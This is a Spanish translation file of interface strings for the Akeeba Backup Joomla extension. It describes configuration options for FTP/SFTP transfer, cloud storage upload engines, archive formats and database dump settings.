COM_AKEEBABACKUP_CONFIG_DELETEAFTER_DESCRIPTION="Si está activado, el archivo de copia de seguridad se eliminará de este servidor en cuanto el posprocesamiento finalice correctamente."
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_TITLE="Eliminar archivo tras el procesamiento"
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION="Cuando está activado, los enlaces simbólicos se seguirán igual que los archivos y directorios normales. Cuando no está marcado, los enlaces simbólicos no se seguirán. Si usa enlaces simbólicos que generan un bucle de enlace infinito, desmarque esta opción."
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_TITLE="Desreferenciar enlaces simbólicos"
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_DESC="¿Se le debe pedir permiso para mostrar notificaciones de escritorio? Las notificaciones de escritorio aparecen cuando la copia de seguridad se inicia, finaliza, lanza una advertencia o se detiene. Solo se muestran en navegadores compatibles (normalmente: Chrome, Safari, Firefox, Opera) si concede a Akeeba Backup el permiso para mostrar notificaciones de escritorio cuando se le solicite en la página del Panel de control. Esta opción solo controla si se debe mostrar dicha solicitud. Una vez que acepte o rechace los permisos de mensajes de notificaciones de escritorio, esta configuración <strong>no tendrá efecto</strong>. La única forma de activar o desactivar las notificaciones de escritorio será a través de la configuración de su navegador."
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_LABEL="Solicitar permisos para notificaciones de escritorio"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_DESCRIPTION="Si está activado, Akeeba Backup intentará conectarse a su servidor FTP usando una conexión cifrada con SSL. <strong>¡Esto no es lo mismo que SFTP, SCP ni «FTP seguro»!</strong> Tenga en cuenta que si su servidor no admite este método obtendrá errores de conexión."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_TITLE="Usar FTP sobre SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_DESCRIPTION="El nombre del servidor FTP, sin el protocolo. Esto significa que <code>ftp://example.com</code> es <strong>incorrecto</strong> y <code>example.com</code> es válido. Akeeba Backup solo admite servidores FTP y FTPS. <u>No</u> admite SFTP, SCP ni otras variantes SSH."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_TITLE="Nombre del servidor"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_DESCRIPTION="La ruta <strong>FTP</strong> absoluta al directorio donde se subirán los archivos. Si no está seguro, conéctese a su servidor con FileZilla, navegue hasta el directorio deseado y copie la ruta que aparece en el panel derecho encima de la lista de directorios. Normalmente es algo corto, como <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_TITLE="Directorio inicial"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION="Usar el modo pasivo de FTP al transferir datos. Está activado de forma predeterminada, ya que es el único método que funciona a través de los cortafuegos que habitualmente se instalan en los servidores web. No lo desactive a menos que esté seguro de que su servidor web no está detrás de un cortafuegos y de que su servidor FTP requiere absolutamente transferencias en modo activo."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_TITLE="Usar modo pasivo"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION="Contraseña del servidor FTP. Normalmente distingue entre mayúsculas y minúsculas. Si tiene dudas, póngase en contacto con su administrador de red."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_TITLE="Contraseña"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_DESCRIPTION="Puerto del servidor FTP. El valor más habitual es 21. Si tiene dudas, póngase en contacto con su administrador de red."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_TITLE="Puerto"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_DESCRIPTION="Use este botón para probar la conexión FTP y ver los errores de conexión en caso de fallo."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL="No se pudo conectar al servidor FTP remoto."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_OK="¡La conexión con el servidor FTP remoto se estableció correctamente!"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_TITLE="Probar la conexión FTP"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_DESCRIPTION="Nombre de usuario del servidor FTP. Normalmente distingue entre mayúsculas y minúsculas. Si tiene dudas, póngase en contacto con su administrador de red."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_TITLE="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_DESCRIPTION="Introduzca el nombre del servidor o la dirección IP de su servidor SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_TITLE="Nombre del servidor"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION="Introduzca el directorio al que se subirán los archivos. Si no está seguro, use un cliente SFTP de escritorio, conéctese a su servidor, navegue hasta el directorio deseado y copie la ruta que aparece allí. La ruta debe estar en formato absoluto, p. ej. /users/miusuario/public_html"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_TITLE="Directorio inicial"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION="La contraseña SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_TITLE="Contraseña"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_DESCRIPTION="El puerto habitual para las conexiones SFTP es el 22. Si su servidor usa un puerto diferente, introdúzcalo aquí."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_TITLE="Puerto"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_DESCRIPTION="Use este botón para probar la conexión SFTP y ver los errores de conexión en caso de fallo."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_FAIL="No se pudo conectar al servidor SFTP remoto. El mensaje de error fue:"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_OK="Conexión establecida correctamente con el servidor SFTP remoto. Nota: la configuración del directorio inicial no fue comprobada."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_TITLE="Probar la conexión SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_DESCRIPTION="El nombre de usuario de SFTP. Tenga en cuenta que su servidor SFTP debe permitir la autenticación mediante nombre de usuario y contraseña."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_TITLE="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_DESCRIPTION="Su clave de acceso de DreamObjects, disponible en el panel de control de DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_TITLE="Clave de acceso"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_DESCRIPTION="El nombre de su cubo de DreamObjects. Asegúrese de escribirlo exactamente como aparece en el panel de control de DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_TITLE="Cubo"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_DESCRIPTION="El directorio dentro de su cubo donde se almacenarán los archivos de copia de seguridad. Déjelo en blanco para almacenar los ficheros en la raíz del cubo."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_DESCRIPTION="Si está activado, Akeeba Backup intentará convertir el nombre del cubo a letras minúsculas; es decir, MiCubo se convertirá en micubo. Si ha creado un cubo con letras mayúsculas, p. ej. MiNuevoCubo, desmarque esta opción y asegúrese de que el nombre del cubo se escribe exactamente como aparece en el panel de control de DreamHost."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_TITLE="Nombre de cubo en minúsculas"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_DESCRIPTION="Su clave secreta de DreamObjects, disponible en el panel de control de DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_TITLE="Clave secreta"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_DESCRIPTION="Si está activado, se usará una conexión segura (HTTPS) al subir sus archivos. Aunque aumenta la seguridad de los datos transferidos, también aumenta la posibilidad de fallo de la copia de seguridad por tiempo de espera agotado."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_TITLE="Usar SSL"
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_DESCRIPTION="El directorio dentro de su cuenta de Dropbox donde se almacenarán los archivos de copia de seguridad. Déjelo en blanco para almacenar los ficheros en la raíz."
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_DESCRIPTION="Este es el token de actualización que conecta Akeeba Backup con Dropbox. Es <strong>específico de cada sitio</strong> y se usa para reautorizar la conexión con Dropbox cuando el token de acceso de corta duración caduca. Si tiene varios sitios, debe usar el botón del Paso 1 en cada uno de los sitios que desee autorizar. Por favor, <strong>NO</strong> copie el token de acceso ni el de actualización entre varios sitios. Esto hará que la autenticación con Dropbox quede desincronizada y tendrá que volver a conectar todos sus sitios con Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_TITLE="Token de actualización"
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_DESCRIPTION="Este se obtiene automáticamente de Dropbox al hacer clic en el botón del Paso 2 indicado arriba. Si tiene varios sitios, debe usar los botones del Paso 1 y del Paso 2 solo en el PRIMER sitio que desee autorizar. Luego copie el token, la clave secreta del token y el ID de usuario del primer sitio a todos los demás sitios que desee conectar a Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_TITLE="Token de acceso"
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_DESC="Marque esta opción si es miembro de un equipo que usa Dropbox para empresas y desea usar la carpeta de su equipo para almacenar copias de seguridad. Recuerde añadir como prefijo en el Directorio indicado abajo el nombre de la carpeta de su equipo. Por ejemplo, si la interfaz web de Dropbox muestra una «Carpeta de equipo Acme Corp» en la página de Archivos y desea guardar sus copias de seguridad en una carpeta llamada «Copias de seguridad» dentro de ella, debe usar como nombre de Directorio <code>Acme Corp Team Folder/Backups</code>, no solo <code>Backups</code>."
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_TITLE="Dropbox para empresas"
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_DESCRIPTION="Define cómo procesará Akeeba Backup su(s) base(s) de datos para producir un archivo de volcado de base de datos."
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_TITLE="Motor de copia de seguridad de base de datos"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_COMMON="Configuración común"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_MYSQL="Configuración de MySQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_POSTGRES="Configuración de PostgreSQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_REVERSE="Configuración de volcado de base de datos por ingeniería inversa"
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_DESCRIPTION="La ruta absoluta del sistema de archivos a la herramienta de línea de comandos pg_dump en su servidor. Si se deja vacío, Akeeba Backup intentará detectarla automáticamente."
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_TITLE="Ruta a pg_dump"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_DESCRIPTION="Transfiere los archivos del sitio a un servidor FTP remoto, sin archivarlos previamente. Este motor de archivado usa la biblioteca cURL, lo que proporciona una mejor compatibilidad con una amplia gama de servidores FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION="Algunos servidores FTP mal configurados o con comportamiento incorrecto devuelven una dirección IP errónea cuando el modo pasivo de FTP está activado. Active esta opción para forzar a la biblioteca FTP a ignorar la IP incorrecta devuelta por el servidor FTP y usar en su lugar la IP pública del servidor FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE="Solución alternativa para el modo pasivo"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_TITLE="DirectFTP mediante cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION="Transfiere los archivos del sitio a un servidor FTP remoto, sin archivarlos previamente"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_TITLE="DirectFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_DESCRIPTION="Transfiere los archivos del sitio a un servidor SFTP remoto, sin archivarlos previamente. Este motor de archivado usa la biblioteca cURL, lo que proporciona una mejor compatibilidad con una amplia gama de servidores FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_TITLE="DirectSFTP mediante cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION="Transfiere los archivos del sitio a un servidor SFTP remoto, sin archivarlos previamente. ADVERTENCIA: su servidor de origen necesita tener instalada la extensión SSL2 de PHP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_TITLE="DirectSFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_DESCRIPTION="Un formato de archivo de código abierto optimizado para la creación y extracción rápida de archivos mediante código PHP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_TITLE="Formato JPA (recomendado)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_DESCRIPTION="Crea archivos cifrados con el método de cifrado estándar del sector AES-128, en un formato muy similar a JPA. Requiere que esté instalada y activada en su sitio alguna de las extensiones PHP mcrypt u openssl."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_TITLE="Archivos cifrados (JPS)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION="El archivo ZIP se creará usando la clase ZipArchive de PHP. IMPORTANTE: Este motor no admite división de archivos ni gestión de enlaces simbólicos y, por lo tanto, puede provocar problemas en la copia de seguridad. Si obtiene errores de tiempo de espera, errores AJAX o mensajes de error interno del servidor, deberá cambiar a un motor de archivado diferente y activar la división de archivos."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_TITLE="ZIP usando la clase ZipArchive"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_DESCRIPTION="Archivos ZIP estándar, también denominados «Carpetas comprimidas», compatibles de forma nativa con todos los sistemas operativos principales"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_TITLE="Formato ZIP"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_DESCRIPTION="Usa código PHP para producir un volcado preciso de la base de datos"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_TITLE="Motor nativo de copia de seguridad de MySQL"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE="Marcar copia de seguridad como fallida si la subida falla"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION="Detiene inmediatamente el proceso de copia de seguridad, marcándolo como fallido, si se produce un error de subida. <strong>Esta opción puede ser engañosa y peligrosa.</strong> Es posible que tenga una copia de seguridad completa y válida que simplemente no se pudo subir total o parcialmente. Al activar esta opción se eliminarán los archivos de copia de seguridad restantes de su servidor y se dejarán atrás los archivos de archivo (parcialmente) subidos al almacenamiento remoto. En otras palabras, se quedará sin ninguna copia de seguridad funcional. Solo hay muy pocos casos de uso en los que esto tiene más sentido que el comportamiento predeterminado, que le permite reanudar la subida del archivo de copia de seguridad a través de la página Gestionar copias de seguridad. Por ello, recomendamos encarecidamente que esta opción sea activada solo por usuarios expertos que comprendan plenamente las implicaciones de hacerlo."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_DESCRIPTION="Sube el archivo de copia de seguridad a Microsoft Windows Azure BLOB Storage."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_TITLE="Subir a Microsoft Windows Azure BLOB Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_DESCRIPTION="Sube el archivo de copia de seguridad a BackBlaze."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_TITLE="Subir a BackBlaze B2"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_DESCRIPTION="Sube el archivo de copia de seguridad a Box.com. Consulte la documentación."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_TITLE="Subir a Box.com"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION="Sube el archivo de copia de seguridad a RackSpace CloudFiles.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_TITLE="Subir a RackSpace CloudFiles"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_DESCRIPTION="Sube el archivo de copia de seguridad a CloudMe.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_TITLE="Subir a CloudMe"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_DESCRIPTION="Sube el archivo de copia de seguridad a DreamObjects.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_TITLE="Subir a DreamObjects"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_DESCRIPTION="Sube el archivo de copia de seguridad a Dropbox usando la API V2 de Dropbox. Esta API es más rápida y permite conectar fácilmente su cuenta de Dropbox a varios sitios."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_TITLE="Subir a Dropbox (API v2)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_DESCRIPTION="Le envía el archivo de copia de seguridad como adjunto de correo electrónico.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 1-2 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera y falta de memoria!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_TITLE="Enviar por correo electrónico"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_DESCRIPTION="Sube el archivo de copia de seguridad a un servidor FTP o FTPS (FTP sobre SSL implícito) remoto.<br/>Este motor de posprocesamiento usa la biblioteca cURL, que proporciona una mejor compatibilidad con una amplia gama de servidores FTP.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_TITLE="Subir a servidor FTP remoto usando cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_DESCRIPTION="Sube el archivo de copia de seguridad a un servidor FTP o FTPS (FTP sobre SSL implícito) remoto.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_TITLE="Subir a servidor FTP remoto"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_DESCRIPTION="Sube el archivo de copia de seguridad a Google Drive. Consulte la documentación."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_TITLE="Subir a Google Drive"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_DESCRIPTION="Sube el archivo de copia de seguridad a Google Storage usando la moderna API JSON. Esta es la integración recomendada con Google Storage.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_TITLE="Subir a Google Storage (API JSON)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_DESCRIPTION="Sube el archivo de copia de seguridad a Google Storage usando la emulación de la API S3 heredada. Esta opción está obsoleta y se eliminará en el futuro. Use en su lugar la opción de API JSON.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_TITLE="Subir a Google Storage (API S3 heredada)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_DESCRIPTION="Sube el archivo de copia de seguridad a iDriveSync EVS (iDriveSync.com).<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_TITLE="Subir a iDriveSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_DESCRIPTION="Deja los archivos de copia de seguridad en el servidor"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_TITLE="Sin posprocesamiento"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_DESCRIPTION="Sube el archivo de copia de seguridad a Microsoft OneDrive o Microsoft OneDrive para empresas."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_TITLE="Subir a Microsoft OneDrive o OneDrive para empresas"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_DESCRIPTION="Sube el archivo de copia de seguridad a Microsoft OneDrive. Solo admite unidades personales creadas con su cuenta personal de Microsoft. No admite OneDrive para empresas ni cuentas de OneDrive creadas a través de una cuenta escolar o de trabajo o una suscripción a Microsoft Office 365. Este método de subida se ELIMINARÁ en una versión futura de Akeeba Backup. Use en su lugar el método Subir a Microsoft OneDrive."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_TITLE="Subir a Microsoft OneDrive (HEREDADO)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_DESCRIPTION="Sube el archivo de copia de seguridad a OVH Object Storage. <br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_TITLE="Subir a OVH Object Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_DESCRIPTION="Sube el archivo de copia de seguridad a pCloud. ESTE MOTOR DE POSPROCESAMIENTO SERÁ ELIMINADO. LA AUTENTICACIÓN NO FUNCIONA DEBIDO A PROBLEMAS EN EL SERVIDOR DE LA API DE pCloud."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_TITLE="Subir a pCloud (NO USAR - SERÁ ELIMINADO)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_DESCRIPTION="Sube el archivo de copia de seguridad a Amazon S3. Permite usar tanto la autenticación nueva (AWS4) requerida para las ubicaciones S3 más recientes como la antigua (AWS2) requerida para proveedores de almacenamiento de terceros que ofrecen una API compatible con S3.<br/><strong>¡Si desactiva las subidas multiparte, recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong><br/>Si desea usar Amazon STS en lugar de una clave de acceso y clave secreta, consulte la documentación."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_TITLE="Subir a Amazon S3"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_DESCRIPTION="Sube el archivo de copia de seguridad a un servidor SFTP (SSH) remoto. Se trata de una transferencia de archivos sobre SSH mediante un protocolo llamado SFTP que es <em>completamente diferente</em> de FTP y FTPS.<br/>Este motor de posprocesamiento usa cURL para la transferencia de datos, una biblioteca compatible con una amplia gama de servidores SFTP.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_TITLE="Subir a servidor SFTP (SSH) remoto usando cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_DESCRIPTION="Sube el archivo de copia de seguridad a un servidor SFTP (SSH) remoto. Se trata de una transferencia de archivos sobre SSH mediante un protocolo llamado SFTP que es <em>completamente diferente</em> de FTP y FTPS.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_TITLE="Subir a servidor SFTP (SSH) remoto"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_DESCRIPTION="Sube el archivo de copia de seguridad a SugarSync.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_TITLE="Subir a SugarSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_DESCRIPTION="Sube el archivo de copia de seguridad a cualquier servidor de almacenamiento de objetos OpenStack Swift, p. ej. uno creado con la distribución Ubuntu de OpenStack u otras nubes privadas. ¡NO use este método con RackSpace CloudFiles! CloudFiles utiliza un método de autenticación personalizado incompatible con el servicio de identidad Keystone de OpenStack (el que usan prácticamente todas las demás implementaciones de OpenStack).<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_TITLE="Subir al almacenamiento de objetos OpenStack Swift"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_DESCRIPTION="Sube el archivo de copia de seguridad a cualquier servicio de almacenamiento compatible con el protocolo WebDAV.<br/><strong>¡Recuerde configurar un tamaño de archivo dividido de 2-30 MB o corre el riesgo de que la copia de seguridad falle por tiempo de espera!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_TITLE="Subir usando WebDAV"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_DESCRIPTION="Un escáner de archivos optimizado para hacer copias de seguridad de sitios con directorios que contienen cientos de archivos (p. ej. blogs y portales de noticias)"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_TITLE="Escáner para sitios grandes"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_DESCRIPTION="Equilibra de forma inteligente la velocidad de exploración y la prevención de tiempos de espera"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_TITLE="Escáner inteligente"
COM_AKEEBABACKUP_CONFIG_ERR_DECRYPTION="No se pudo descifrar la configuración. Su servidor no admite el cifrado de configuración, o el archivo de clave de cifrado ha sido modificado o eliminado."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_DESCRIPTION="Si está marcado, el volcado de la base de datos se compondrá de sentencias INSERT extendidas, es decir, una única sentencia para restaurar varias filas de datos. Se recomienda encarecidamente mantener esta opción activada, ya que acelerará el proceso de restauración y evitará los límites de cuota de consultas en servidores restrictivos."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_TITLE="Generar INSERTs extendidos"

COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_SEPARATOR="<strong>Comprobar subidas fallidas</strong>"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_LABEL="Dirección de correo electrónico para subidas fallidas"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_DESC="Enviar el correo electrónico de aviso de subida fallida a esta dirección. Déjelo en blanco para enviar el correo a todos los superusuarios."
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_LABEL="Asunto del correo de subida fallida"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_DESC="El asunto del correo electrónico que le notifica sobre las subidas fallidas. Déjelo en blanco para usar el predeterminado. Puede usar todas las variables de Akeeba Backup disponibles para nombrar archivos de copia de seguridad, p. ej. [HOST] y [DATE]"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_LABEL="Cuerpo del correo de subida fallida"
